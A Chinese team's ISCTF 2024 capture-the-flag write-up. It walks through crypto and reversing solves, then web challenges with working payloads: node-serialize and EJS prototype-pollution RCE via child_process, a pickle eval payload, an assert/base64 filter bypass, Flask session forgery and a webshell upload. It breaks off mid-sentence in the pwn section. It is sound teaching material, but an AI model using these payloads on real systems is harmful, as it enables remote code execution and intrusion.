全文约40,000字,120+图片
请注意流量与时间消耗 善用目录功能进行跳转
若图片等资源加载失败,请更换网络环境
目录/快速跳转
目录按比赛结束后的题目顺序排序
以下是我们团队做出来的题目WP 不全 尽力了
一. Crypto
1. 我和小蓝鲨的秘密
原题
Copy from PIL import Image
from Crypto.Util.number import bytes_to_long, long_to_bytes
import numpy as np
n = 29869349657224745144762606999
e = 65537
original_image_path = "flag.jpg"
img = Image.open(original_image_path)
img = img.convert("RGB")
img_array = np.array(img)
h, w, _ = img_array.shape
encrypted_array = np.zeros((h, w, 3), dtype=object)
for i in range(h):
for j in range(w):
r, g, b = int(img_array[i, j, 0]), int(img_array[i, j, 1]), int(img_array[i, j, 2])
encrypted_array[i, j, 0] = pow(r, e, n)
encrypted_array[i, j, 1] = pow(g, e, n)
encrypted_array[i, j, 2] = pow(b, e, n)
np.save("encrypted_image.npy", encrypted_array)
print("图片已加密并保存为 encrypted_image.npy")
安装运行库
Copy pip install pillow pycryptodome numpy sympy
代码分析
这段代码使用 RSA 加密算法对图片的每个像素进行加密,并将加密后的数据保存为一个 NumPy 数组文件。
计算私钥
既然是RSA,那么就需要分解n
。所幸,这个n
非常的短。
Copy n = 29869349657224745144762606999
e = 65537
那么我们可以直接将p
和q
给分解出来。
Copy factors = list(sympy.factorint(n).keys())
p, q = factors[0], factors[1]
既然得到了p
和q
,我们可以把φ(n)
求出来。
Copy phi_n = (p - 1) * (q - 1)
然后计算得到私钥d
.
Copy d = pow(e, -1, phi_n)
解密图片
我们读取Numpy数组,逆向加密代码将各个像素点解密。
Copy encrypted_array = np.load("encrypted_image.npy", allow_pickle=True)
h, w, _ = encrypted_array.shape
Copy decrypted_array = np.zeros((h, w, 3), dtype=np.uint8)
for i in range(h):
for j in range(w):
r, g, b = int(encrypted_array[i, j, 0]), int(encrypted_array[i, j, 1]), int(encrypted_array[i, j, 2])
decrypted_array[i, j, 0] = pow(r, d, n)
decrypted_array[i, j, 1] = pow(g, d, n)
decrypted_array[i, j, 2] = pow(b, d, n)
然后将所有的数组转为图片并保存。
Copy decrypted_img = Image.fromarray(decrypted_array, 'RGB')
decrypted_img.save("decrypted_flag.jpg")
完整代码实现
Copy from PIL import Image
import numpy as np
import sympy
n = 29869349657224745144762606999
e = 65537
factors = list(sympy.factorint(n).keys())
p, q = factors[0], factors[1]
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
encrypted_array = np.load("encrypted_image.npy", allow_pickle=True)
h, w, _ = encrypted_array.shape
decrypted_array = np.zeros((h, w, 3), dtype=np.uint8)
for i in range(h):
for j in range(w):
r, g, b = int(encrypted_array[i, j, 0]), int(encrypted_array[i, j, 1]), int(encrypted_array[i, j, 2])
decrypted_array[i, j, 0] = pow(r, d, n)
decrypted_array[i, j, 1] = pow(g, d, n)
decrypted_array[i, j, 2] = pow(b, d, n)
decrypted_img = Image.fromarray(decrypted_array, 'RGB')
decrypted_img.save("decrypted_flag.jpg")
2. ChaCha20-Poly1305
原题
Copy from Crypto.Cipher import ChaCha20_Poly1305
import os
key = os.urandom(32)
nonce = os.urandom(12)
with open('flag.txt', 'rb') as f:
plaintext = f.read()
cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)
ct, tag = cipher.encrypt_and_digest(plaintext)
print(f"Encrypted Flag: {ct.hex()}")
print(f"Tag: {tag.hex()}")
print(f"Nonce: {nonce.hex()}")
with open('key.txt', 'w') as key_file:
key_file.write(key.hex())
Copy Encrypted Flag: 20408b9fc498063ad53a4abb53633a6a15df0ddaf173012d620fa33001794dbb8c038920273464e13170e26d08923aeb
Tag: 70ffcc508bf4519e7616f602123c307b
Nonce: d8ebeedec812a6d71240cc50
Copy 3=t#sMX3?9GHSPdi4i^gk!3*(cH8S8XT2y&?Tv4!?AGG=R]ZDy/PVVa+DqiXAH*}DS&Nn*a+@<H,=!L
题目描述:你的意思是说,只要我继续打ctf,下次做crypto时,就会有一个长腿黑丝双马尾的甜妹突然坐到我的腿上,并害羞的红着脸对我说,前辈你crypto打的真厉害,所以要不要和我交往!
分析
查看文件附件提供的可以并不是真正的key
,真正的key
是32位HEX值。尝试对key进行解密,尝试各种解密方案,最后可以通过base92对key
进行解密。
Copy 173974535637a5ef30a116b03d00bd2fe751951ca3eaa62daec2b8f5ca5b6135
获取到key
后,可以编写payload解密。
Copy from Crypto.Cipher import ChaCha20_Poly1305
from binascii import unhexlify
# 已知的加密参数(替换为实际值)
key_hex = "173974535637a5ef30a116b03d00bd2fe751951ca3eaa62daec2b8f5ca5b6135"
nonce_hex = "d8ebeedec812a6d71240cc50"
ciphertext_hex = "20408b9fc498063ad53a4abb53633a6a15df0ddaf173012d620fa33001794dbb8c038920273464e13170e26d08923aeb"
tag_hex = "70ffcc508bf4519e7616f602123c307b"
# 转换十六进制为字节
key = unhexlify(key_hex)
nonce = unhexlify(nonce_hex)
ciphertext = unhexlify(ciphertext_hex)
tag = unhexlify(tag_hex)
# 创建解密器
cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)
try:
# 解密并验证
plaintext = cipher.decrypt_and_verify(ciphertext, tag)
print(f"解密后的明文: {plaintext.decode()}")
except ValueError as e:
print(f"解密失败: {str(e)}")
其实用在线工具也能解出来。
3. 蓝鲨的费马
原题
Copy import libnum
import gmpy2
from Crypto.Util.number import *
flag=b'ISCTF{********}'
m=bytes_to_long(flag)
p=libnum.generate_prime(1024)
q=libnum.generate_prime(1024)
n=p*q
e=0x10001
c=pow(m,e,n)
d=inverse(e,(p-1)*(q-1))
leak = (d+(pow(p,q,n)+pow(q,p,n)))%n
print("c=", c)
print("n=", n)
print("leak=", leak)
"""
c= 8989289659072309605793417141528767265266446236550650613514493589798432446586991233583435051268377555448062724563967695425657559568596372723980081067589103919296476501677424322525079257328042851349095575718347302884996529329066703597604694781627113384086536158793653551546025090807063130353950841148535682974762381044510423210397947080397718080033363000599995100765708244828566873128882878164321817156170983773105693537799111546309755235573342169431295776881832991533489235535981382958295960435126843833532716436804949502318851112378495533302256759494573250596802016112398817816155228378089079806308296705261876583997
n= 13424018200035368603483071894166480724482952594135293395398366121467209427078817227870501294732149372214083432516059795712917132804111155585926502759533393295089100965059106772393520277313184519450478832376508528256865861027444446718552169503579478134286009893965458507369983396982525906466073384013443851551139147777507283791250268462136554061959016630318688169168797939873600493494258467352326974238472394214986505312411729432927489878418792288365594455065912126527908319239444514857325441614280498882524432151918146061570116187524918358453036228204087993064505391742062288050068745930452767100091519798860487150247
leak= 9192002086528025412361053058922669469031188193149143635074798633855112230489479254740324032262690315813650428270911079121913869290893574897752990491429582640499542165616254566396564016734157323265631446079744216458719690853526969359930225042993006404843355356540487296896949431969541367144841985153231095140361069256753593550199420993461786814074270171257117410848796614931926182811404655619662690700351986753661502438299236428991412206196135090756862851230228396476709412020941670878645924203989895008014836619321109848938770269989596541278600166088022166386213646074764712810133558692545401032391239330088256431881
"""
编写一个Payload用于解决这道题。
Copy from Crypto.Util.number import long_to_bytes
c = 8989289659072309605793417141528767265266446236550650613514493589798432446586991233583435051268377555448062724563967695425657559568596372723980081067589103919296476501677424322525079257328042851349095575718347302884996529329066703597604694781627113384086536158793653551546025090807063130353950841148535682974762381044510423210397947080397718080033363000599995100765708244828566873128882878164321817156170983773105693537799111546309755235573342169431295776881832991533489235535981382958295960435126843833532716436804949502318851112378495533302256759494573250596802016112398817816155228378089079806308296705261876583997
n = 13424018200035368603483071894166480724482952594135293395398366121467209427078817227870501294732149372214083432516059795712917132804111155585926502759533393295089100965059106772393520277313184519450478832376508528256865861027444446718552169503579478134286009893965458507369983396982525906466073384013443851551139147777507283791250268462136554061959016630318688169168797939873600493494258467352326974238472394214986505312411729432927489878418792288365594455065912126527908319239444514857325441614280498882524432151918146061570116187524918358453036228204087993064505391742062288050068745930452767100091519798860487150247
leak = 9192002086528025412361053058922669469031188193149143635074798633855112230489479254740324032262690315813650428270911079121913869290893574897752990491429582640499542165616254566396564016734157323265631446079744216458719690853526969359930225042993006404843355356540487296896949431969541367144841985153231095140361069256753593550199420993461786814074270171257117410848796614931926182811404655619662690700351986753661502438299236428991412206196135090756862851230228396476709412020941670878645924203989895008014836619321109848938770269989596541278600166088022166386213646074764712810133558692545401032391239330088256431881
m = pow(c, leak-n-1, n)
print(long_to_bytes(m))
4. 小蓝鲨的数学题
小蓝鲨会一直还记得log吗?
hint1:模数是2**512
题目附件如下:
Copy Base和Ciphertext
m = 5321153468370294351697008906248782883193902636120413346203705810525086437271585682015110123362488732193020749380395419994982400888011862076022065339666193
c = 7383779796712259466884236308066760158536557371789388054326630574611014773044467468610300619865230550443643660647968413988480055366698747395046400909922513
编写代码 使用SageMath
的离散对数 求解函数
Copy m = 5321153468370294351697008906248782883193902636120413346203705810525086437271585682015110123362488732193020749380395419994982400888011862076022065339666193
c = 7383779796712259466884236308066760158536557371789388054326630574611014773044467468610300619865230550443643660647968413988480055366698747395046400909922513
modulus = 2 ** 512
x = discrete_log(Mod(c, modulus), Mod(m, modulus))
print(f"找到解 x = {x}")
print(f"flag{{x={x}}}")
在SageMath环境下运行 得到X数值
得到X=10264364653024798634903783527745926867031925199037958969782276507961886722976934069545098453108500226429
提交后不正确,尝试将X转为字符串:
Copy # Base和Ciphertext
m = 5321153468370294351697008906248782883193902636120413346203705810525086437271585682015110123362488732193020749380395419994982400888011862076022065339666193
c = 7383779796712259466884236308066760158536557371789388054326630574611014773044467468610300619865230550443643660647968413988480055366698747395046400909922513
x = 10264364653024798634903783527745926867031925199037958969782276507961886722976934069545098453108500226429
hex_string = hex(x)[2:]
flag = bytes.fromhex(hex_string).decode('utf-8')
print(flag)
运行,得到flag
5. 小蓝鲨的密码
小蓝鲨最近新学习了一个密码,你来解解看吧
题目附件:
首先打开密码.zip压缩包 发现需要密码 暂时跳过
打开图片:
路在脚下? 经过尝试 发现真是“脚下 ”
密码为文件名(不包含后缀)
解压后得到类似词典的文本
观察词典 发现有两个最可能是密码的
观察小蓝鲨的密码.txt:
第一印象以为是兔子加密 结果都没解出来
最后发现为Aes256
Decrypt
尝试密码 得到flag
6. ezmath
修复这串代码,然后用你的数学知识解题
hint1:key无法在修复代码后直接运行获得,需对代码进行数学分析
hint2:若key为无理数,则key取小数点后15位,如gamma(5/2)计算结果为:1.234567000000001...,则key为234567000000001
打开附件
发现积分和极限运算代码块拥有error标记 首先要进行修复 :
Copy def sumFunc(func):
def wapper(*args, start=1, end=INF):
sums = 0
for j in range(start, end):
sums += func(*args, j / 0xf) * (1 / 0xf)
return sums
return wapper
def limitFunc(func):
def wapper(*args, approach=bigINF, pos="+"):
o = 1 / bigINF
return func(*args, eval(f"{approach} {pos} {o}"))
return wapper
根据hint提示,key取小数点后15位
Copy key_str = str(gamma_value)[2:17]
根据题目中的encode
函数,逆向得到decode
函数
Copy def decode(encoded, key):
mode = AES.MODE_ECB
aes = AES.new(pad(key.encode()), mode)
decoded = aes.decrypt(base64.decodebytes(encoded.encode()))
return decoded.strip(b'\x00').decode('utf-8')
完整payload如下:
Copy from scipy.special import gamma
from hashlib import md5
from Crypto.Cipher import AES
import base64
import random
gamma_value = gamma(5 / 2)
key_str = str(gamma_value)[2:17]
key = int(key_str)
def pad(data):
while len(data) % 16 != 0:
data += b'\x00'
return data
cipher_text = "n2SQK64JMsXstCtZurBiz81pMr3ZmgMjhuyL67hssm3shqJGYGfS/mWubINeE5HZ"
def decode(encoded, key):
mode = AES.MODE_ECB
aes = AES.new(pad(key.encode()), mode)
decoded = aes.decrypt(base64.decodebytes(encoded.encode()))
return decoded.strip(b'\x00').decode('utf-8')
random.seed(key)
new_key = md5(str(random.getrandbits(256)).encode('utf-8')).hexdigest()
flag = decode(cipher_text, new_key)
print(key)
print(flag)
运行,得到flag
二. Reverse
1. Ezre
把文件拖进IDA分析可得以下内容:
程序运行时,会让你输入flag,并将你输入的文本传给一个加密算法,如果验证和已加密文本v5
吻合,则提示Yeah,You get what you want!!!
我们可以观察到,验证结果在v2
上,如果v2
为True
,则通过验证。
Copy if ( v2 )
v1 = "Yeah,You get what you want!!!";
我们继续查看v2
Copy v2 = sub_140011217(v6, (unsigned int)v0, v5);
追踪该函数可得:
Copy __int64 __fastcall sub_140011860(__int64 a1, int a2, _BYTE *a3)
{
__int64 v4; // rbx
_BYTE *v6; // rax
__int64 v7; // rdi
v4 = a2;
sub_1400112C1(&unk_14001E00F);
if ( (int)v4 <= 0 )
return 1LL;
v6 = a3;
v7 = a1 - (_QWORD)a3;
while ( v6[v7] == *v6 )
{
if ( ++v6 - a3 >= v4 )
return 1LL;
}
return 0LL;
}
这是一个比较函数,用于比对字符串是否符合要求。将v6
和v5
进行比对。
我们继续向上分析,v6
为我们输入的文本,
Copy sub_140011073("%s", (const char *)v6);
然后会传入
Copy sub_1400112E9(v6, (unsigned int)v0, v4);
推测这个就是加密函数,v4
就是密钥:
追踪sub_1400112E9
函数可得:
Copy __int64 __fastcall sub_1400117A0(_BYTE *a1, int a2, __int64 a3)
{
__int64 result; // rax
int i; // r9d
int v8; // r8d
result = sub_1400112C1((__int64)&unk_14001E00F);
for ( i = 0; i < a2; ++a1 )
{
v8 = (char)*a1;
result = (unsigned int)(v8 - 65);
if ( (unsigned __int8)(*a1 - 65) <= 0x19u )
{
v8 += *(char *)(i % 5u + a3);
result = (unsigned int)(26 * (v8 / 26));
LOBYTE(v8) = v8 % 26 + 65;
}
*a1 = v8;
++i;
}
return result;
}
将加密模块用Python复现:
Copy def generate_payload(target_text, key):
payload = ""
key_length = len(key)
for i, char in enumerate(target_text):
if 'A' <= char <= 'Z':
shift = ord(key[i % key_length])
original_char = (ord(char) - 65 - shift + 65) % 26 + 65
payload += chr(original_char)
else:
payload += char
return payload
target_text = "QKEMK{7JB5_i5_W3SllD_3z_W3}"
key = "ISCTF"
payload = generate_payload(target_text, key)
print("Generated Payload:", payload)
运行即可得到flag.
2. 《回忆安魂曲》--第三章:逃不出的黑墙
将文件拖入IDA分析可得以下内容
可以从中提取出迷宫的字符串。
根据这里可以判断字符串是一个(31*30)-1
的一个矩形。
大概是这种构造。
我们需要编写算法,使得从P点触发,不经过C直接到达E(如果到达C点会触发彩蛋)
Copy import hashlib
import numpy as np
from queue import Queue
from heapq import heappush, heappop
maze_str = """
###############################P#...............#...#.......#.#####.###.#####.#.###.#####.#.....#...#.#.....#...#.#...#.#####.#.###.#.#######.#.#.###.#C..#.#.#...#.#...#...#.#.#...#.#.#.#.#.###.#.#.#.###.#.#.#.#.#.#.#.#...#...#.#.......#.#.#.###.#.###.#####.#########.###.#...#...#.....#.#.......#...#.#.#####.#####.#.#.#####.###.#...#...#...#...#...#...#.#...#.###.#.###.#.#######.#.#.#.#.#...#.#.#...#.#...#...#...#.#.###.#.#.#####.#.#.#.#######.###.#...#.....#...#.#.#...#.....#.#########.#####.#.###.#.###.#.#.....#.#...#...#...#...#.#.#.#.#.#.#.###.#.#####.###.#.#.#...#.#...#.#...#...#...#...#.#.###.###.#.#####.#.###.###.#.#...#.#.#.......#.#...#.#...#.#####.#.#######.#.#####.#.###.#...#.#.......#.#...#...#.#..E#.#.#.#.#######.###.#.#####.#.#.#...#.............#.....#.#.#.###############.#######.#.#.#.........#...#...#.....#...#.#.#######.#.#.#####.#.#######.#.......#...#.......#.........
"""
maze_str = '\n'.join([maze_str[i:i+31] for i in range(1, len(maze_str), 30)])
print(maze_str)
# Split the maze string into lines and remove empty lines
maze_lines = [line for line in maze_str.strip().split('\n') if line]
# Get dimensions
height = len(maze_lines)
width = len(maze_lines[0])
# Create numpy array
maze = np.zeros((height, width), dtype=int)
# Fill array and find special points
start = None
checkpoint = None
end = None
for i, line in enumerate(maze_lines):
for j, char in enumerate(line):
if char == '#':
maze[i, j] = 1
elif char == 'P':
start = (i, j)
elif char == 'C':
checkpoint = (i, j)
elif char == 'E':
end = (i, j)
print("Maze array created with shape:", maze.shape)
print("Start position (P):", start)
print("Checkpoint position (C):", checkpoint)
print("End position (E):", end)
def get_direct_path(maze, start, end):
rows, cols = maze.shape
visited = set()
q = Queue()
q.put((start, [])) # (position, path)
directions = [(-1, 0), (1, 0), (0, -1), (0, 1)]
direction_names = ['上', '下', '左', '右']
while not q.empty():
(i, j), path = q.get()
if (i, j) == end:
print("找到直接路径!")
print("路径步骤:", ' '.join(path))
print("总步数:", len(path))
direction_map = {'上': 'l', '下': 'o', '左': 'v', '右': 'e'}
path_new = [direction_map[d] for d in path]
print("路径(使用love):", ''.join(path_new))
print("MD5:", hashlib.md5(''.join(path_new).encode()).hexdigest())
return path
if (i, j) in visited:
continue
visited.add((i, j))
for idx, (di, dj) in enumerate(directions):
ni, nj = i + di, j + dj
if (0 <= ni < rows and 0 <= nj < cols and
maze[ni, nj] != 1 and (ni, nj) not in visited and
(ni, nj) != checkpoint):
q.put(((ni, nj), path + [direction_names[idx]]))
print("未找到不经过检查点的路径")
return None
direct_path = get_direct_path(maze, start, end)
将最优路线的MD5提交即可。
3. 你知道.elf文件嘛
如图,正常下载打开即可(Debian系的Linux发行版无法打开 ,红帽系的Linux发行版可以正常打开)
打开按照要求填入标准Base64编码表即可。
三. Web
1. 25时晓山瑞希生日会
瑞希是神山高校一年级生,《25时,在Nightcord。》的MV师。马上要到生日了。生日会邀请了很多人来参加。
此题在9.15就出好了,谁料会发生如此变故,sega我恨你;w;
将Project Sekai
加入UA 即可
只能从本地来 将xff改为127.0.0.1即可
填写正确时间 通过搜索即可得到生日时间:
填写时间后
更改格式 得到flag:
这题浓度有点太高了(
2. 小蓝鲨的冒险
原题
Copy <?php
error_reporting(0);
highlight_file(__FILE__);
$a = "isctf2024";
$b = $_GET["b"];
@parse_str($b);
echo "小蓝鲨开始闯关,你能帮助他拿到flag吗?<br>";
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
$num = $_POST["num"];
echo "第一关有惊无险!小蓝鲨壮着胆子接着继续往下走!<br>";
if($num == 2024){
die("QAQ小蓝鲨误入陷阱,不怕,再接再厉!");
}
if(preg_match("/[a-z]/i", $num)){
die("陷阱太多QAQ");
}
if(intval($num,0) == 2024){
echo "到这了难道还要放弃吗?<br>";
if (isset($_GET['which'])){
$which = $_GET['which'];
echo "小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油,还差最后一步了!";
switch ($which){
case 0:
print('QAQ');
case 1:
case 2:
require_once $which.'.php';
echo $flag;
break;
default:
echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
break;
}
}
}
}
第一关
如果$a[0] != 'QNKCDZO'
而且md5($a[0]) == md5('QNKCDZO')
则成立。该部分运用到PHP的特性。
md5的碰撞,在PHP的数的处理中,0开头的字符串会被转换成0,所以才会有md5碰撞。 [[MD5-collision]]
所以只要传入MD5值为0e
开头的字符串,且不等于题目中的字符串,则条件成立。
$a[0]
取$a
的第一个元素,如果传入字符串,则将会取第一个字母。所以我们需要传入一个数组。parse_str
用于解析$b
并将里面的东西转为变量,而@
将会忽略转换的错误。如果 $b
的值是 "foo=bar&baz=qux"
,那么执行 parse_str($b);
后,PHP 将创建两个新的变量 $foo
和 $baz
,它们的值分别是 "bar"
和 "qux"
。
示例:
第二关
PHP中post
请求参数num
, 有以下要求:
当使用 intval($num, 0)
转换 $num
为整数时,结果等于 2024。
尝试传入八进制数字03750
,可以通过校验。
要使用八进制表达,数字前必须加上 0
(零)。 PHP 8.1.0 起,八进制表达也可以在前面加上 0o
或者 0O
。 要使用十六进制表达,数字前必须加上 0x
。要使用二进制表达,数字前必须加上 0b
。 [[PHP Hypertext Preprocessor]]
第三关
Copy if (isset($_GET['which'])) {
$which = $_GET['which'];
echo "小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油,还差最后一步了!";
switch ($which) {
case 0:
print('QAQ');
case 1:
case 2:
require_once $which . '.php';
echo $flag;
break;
default:
echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
break;
}
}
PHP转换的规则的是:若字符串以数字开头,则取开头数字作为转换结果,若无则输出0 。 [[php里,为什么0 == 'abc'是成立的? - SegmentFault 思否]]
尝试传入flag
字符串返回了flag.
3. 1z_php
使用POST发包
先ls / 查看目录 再使用curl读取即可 很简单
4. ezserialize
Copy <?php
error_reporting(0);
class Flag {
private $flag;
public function __construct() {
$this->flag = file_get_contents('/flag');
}
public function getFlag() {
return $this->flag;
}
public function __toString() {
return "You can't directly access the flag!";
}
}
class User {
public $username;
public $isAdmin = false;
public function __construct($username) {
$this->username = $username;
}
public function __wakeup() {
if ($this->isAdmin) {
echo "Welcome, admin! Here's your flag: " . (new Flag())->getFlag();
} else {
echo "Hello, " . htmlspecialchars($this->username) . "!";
}
}
}
if (isset($_GET['data'])) {
$data = $_GET['data'];
$object = unserialize($data);
if ($object instanceof User) {
echo $object;
} else {
echo "Invalid object!";
}
} else {
highlight_file(__FILE__);
}
?>
我们需要构造一个 User
对象,并将 isAdmin
设置为 true
,以便在反序列化时触发 __wakeup()
方法并执行 getFlag()
来读取 flag
。
Copy <?php
class Flag {
private $flag;
public function __construct() {
$this->flag = file_get_contents('/flag');
}
public function getFlag() {
return $this->flag;
}
public function __toString() {
return "You can't directly access the flag!";
}
}
class User {
public $username;
public $isAdmin = false;
public function __construct($username) {
$this->username = $username;
}
public function __wakeup() {
if ($this->isAdmin) {
echo "Welcome, admin! Here's your flag: " . (new Flag())->getFlag();
} else {
echo "Hello, " . htmlspecialchars($this->username) . "!";
}
}
}
$payload = new User("attacker");
$payload->isAdmin = true;
$data = serialize($payload);
echo urlencode($data);
?>
运行后拿到URL编码的序列化字符串,这个字符串就是我们要传递的 data
参数。
Copy O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A8%3A%22attacker%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D
然后就可以拿到flag了。
5. ezrce
Copy <?php
error_reporting(0);
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (preg_match("/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&\>\<]|eval|system|exec|popen|shell_exec/i", $cmd)) {
die("Blocked by security filter!");
} else {
eval($cmd);
}
} else {
highlight_file(__FILE__);
}
?>
进入网页后显示了以上代码。它过滤了一些关键字(为什么还有空格!!),我们需要在上面运行Shell,拿到flag。
但是它有点小粗心,没有禁止assert
,那我要发挥咯~~
我们可以assert
套一层base64
拿到flag
.
先将以下命令转为base64
Copy shell_exec("cat /flag")
然后再包含进代码中,GET
请求发过去。
Copy assert(base64_decode("c2hlbGxfZXhlYygiY2F0IC9mbGFnIik="))
6. 小蓝鲨的临时存储室
原题打开是一个上传界面。
尝试上传一句话木马,可以上传。
尝试使用蚁剑链接,发现可以连接。
在根目录找到flag,但是权限不够打不开。
当我寻找其他方案时,它竟然把我的脚本删了!!!!!!
到底是哪个玩意干的??到底是谁??是谁呢??
一定是它了,在根目录有个down_file.sh
是可以编辑的。就是它把我的PHP删了!!!
既然你不仁,休怪我不义!!
7. ezlogin
打开题目环境后会提示
根据题目源码,我们可以找到路径。
Copy app.get('/login',function(req,res){
res.render("login");
});
打开后是一个登录界面。
根据代码中的账密可以登录。
Copy users={"guest":"123456"}
让我们看一下代码。
Copy app.post("/login", function (req, res) {
username = req.body.username;
password = req.body.password;
if (!username || !password) {
return res.status(400).send("用户名和密码都是必填项");
}
if (!users[username]) {
return res.status(409).send("用户名不存在");
} else {
if (users[username] === password) {
token = Buffer.from(
serialize.serialize({ username: username, isAdmin: false })
).toString("base64");
res.cookie("token", token, {
maxAge: 900000,
httpOnly: true,
});
return res.status(200).redirect("/index");
} else {
return res.status(200).send("密码错误");
}
}
});
此处已代码格式化,题目提供的源码没有代码格式化。
当验证通过后,网页会向我们发送一个由base64包裹的Cookie,我们可以在浏览器获得这个Cookie.
此处使用的是EditThisCookie浏览器插件,实际上在开发者模式中也可以查改Cookie.
将token解密后可以获得Cookie的内容,我们就要从这里下手。
那继续分析一下代码。
当访问/index
会调用auth
函数验证身份。
Copy app.get("/index", auth, function (req, res) {
res.render("index");
});
Copy function auth(req, res, next) {
if (req.cookies.token) {
const user = serialize.unserialize(
Buffer.from(req.cookies.token, "base64").toString()
);
if (!user.username) {
return res.status(401).redirect("/login");
}
} else {
return res.status(401).redirect("/login");
}
next();
}
在这里会将传入的Cookie反序列化,这里就是下手点。
我们返回package.json
, 查看依赖版本。
Copy "node-serialize": "^0.0.4"
Copy code = "_$$ND_FUNC$$_" + payload
代码可以触发RCE漏洞。
我们可以据此编写一个Payload.
Copy {"username":"guest","isAdmin":false,"payload":"_$$ND_FUNC$$_function(){require('child_process').execSync('cp /flag /app/views/index.ejs')}()"}
将其转为base64,然后替换掉token即可获取flag.
8. 新闻系统
分析代码,
Copy @app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get('username')
password = request.form.get('password')
if username == 'test' and password == 'test111':
session['username'] = username
session['password'] = password
session['status'] = 'user'
return redirect('/news')
else:
session['login_error'] = True
return render_template("login.html")
Copy @app.route('/admin', methods=['GET', 'POST'])
def admin():
if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
return redirect("/login")
news = newslist.news_list
return render_template("admin.html", news=news)
当用户名是test
密码是test111
则可以登录,但是当用户名是admin
密码为admin222
时才能登录管理员面板,这就摆明了要求我们绕过验证。
Copy app.config["SECRET_KEY"] = "W3l1com_isCTF"
这里提供了SECRET_KEY
,我们可以根据这个加解密session.
Copy python -m flask_session_cookie_manager3 encode -s "W3l1com_isCTF" -t "{'password': 'admin222', 'status': 'admin', 'username': 'admin'}"
Copy .eJyrVipILC4uzy9KUbJSSkzJzcwzMjJS0lEqLkksKS2GiQEFSotTi_ISc1PhQrUAUyMTvw.ZzXjYw.JGCK95W6Ukxa7bFuD7ji1Uq68PA
将Cookies中session换成生成的session即可进入管理员平台。
然后继续分析代码。
Copy news_data = base64.b64decode(serialized_news)
在这里会将base64字符串解码。
Copy black_list = ['create_news', 'export_news', 'add_news', 'get_news']
在这里有一个黑名单,出现这里面提到的单词会被ban掉。其实这是一个线索,我们可以想象一下如何使用这里面的东西而不被发现~~(base64:不管我事哈~)~~
Copy newslist = NewsList()
代码在这里将对象实例化,可以直接调用。
Copy newslist.create_news(6, open("/flag").read())
编写这样一段Payload,然后转为base64.
Copy bmV3c2xpc3QuY3JlYXRlX25ld3MoNiwgb3BlbigiL2ZsYWciKS5yZWFkKCkp
因此,在实际的项目中,永远!!永远!!都不要把不信任的数据交给这个函数解封。
详见Python官方文档。
我们封装一个Payload生成base64之后的字符串,并将生成的字符串在Web页面添加,然后可以获取到flag
Copy import pickle
import base64
class Malicious:
def __reduce__(self):
return (eval, ('eval(__import__("base64").b64decode("bmV3c2xpc3QuY3JlYXRlX25ld3MoNiwgb3BlbigiL2ZsYWciKS5yZWFkKCkp").decode())',))
malicious_data = pickle.dumps(Malicious())
print(base64.b64encode(malicious_data).decode())
Copy gASViQAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxtZXZhbChfX2ltcG9ydF9fKCJiYXNlNjQiKS5iNjRkZWNvZGUoImJtVjNjMnhwYzNRdVkzSmxZWFJsWDI1bGQzTW9OaXdnYjNCbGJpZ2lMMlpzWVdjaUtTNXlaV0ZrS0NrcCIpLmRlY29kZSgpKZSFlFKULg==
添加时会提示错误,此时忽略即可,代码已经执行完了,返回上一个页面直接刷新即可。
9. ezejs
打开代码附件,映入眼帘的就是标记好的backdoor
Copy // backdoor
app.post('/UserList',(req,res) => {
user = req.body
const blacklist = ['\\u','outputFunctionName','localsName','escape']
const hacker = JSON.stringify(user)
for (const pattern of blacklist){
if(hacker.includes(pattern)){
res.status(200).json({"message":"hacker!"});
return
}
}
copy(users,user);
res.status(200).json(user);
});
黑名单检查后会执行copy
函数,我们再看一下copy
函数。
Copy function copy(object1, object2) {
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key]);
} else {
object1[key] = object2[key];
}
}
}
copy
会将所有传入的内容全部传给users
这个对象。
Copy const blacklist = ['\\u','outputFunctionName','localsName','escape']
由于blacklist
禁用掉了很多函数(甚至也禁用掉了Unicode标准符号),我们需要另寻他法执行RCE.同时,感谢黑名单提醒我该如何完成这道题(没有黑名单我根本不知道RCE这个思路)
我们尝试在render
处打断点,当GET localhost/
后一步一步查看。
我们可以尝试使用outputFunctionName
并列的destructuredLocals
实现远程执行命令。opts.destructuredLocals[i]
使用的是数组,所以我们要使用数组的方式传入。根据代码结构,我们准备如下示例字符串。
Copy a=a;global.process.mainModule.require('child_process').execSync('calc');//var __tmp2
完整的数据就是:
Copy {
"__proto__": {
"destructuredLocals": [
"a=a;global.process.mainModule.require('child_process').execSync('calc');//var __tmp2"
]
}
}
我们将上述字符串发给/UserList
,然后请求/
,可以顺利打开计算器。
现在,我们只要据此修改Payload,使用替换命令将/flag
复制替换掉模板的index.ejs
即可。
Copy a=a;global.process.mainModule.require('child_process').execSync('cp /flag /app/views/index.ejs');//var __tmp2
Copy {
"__proto__": {
"destructuredLocals": [
"a=a;global.process.mainModule.require('child_process').execSync('cp /flag /app/views/index.ejs');//var __tmp2"
]
}
}
将以上JSON发给/UserList
,然后请求两次/
(一遍是为了让命令运行生效,一遍是为了获取flag),可以顺利获得flag.
四. PWN
1. Netcat
直接nc即可
2. girlfriend
打开IDA,并分析代码。
Copy int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[40]; // [rsp+0h] [rbp-30h] BYREF
char s1[8]; // [rsp+28h] [rbp-8h] BYREF
init(argc, argv, envp);
puts("welcome to isctf2024");
puts("first i need your team id");
read(0, buf, 0x30uLL);
if ( strcmp(s1, "admin") )
{
puts("no no no");
exit(0);
}
puts("ok, go on");
vuln();
return 0;
}
遵循着有事先溢出的原则,buf
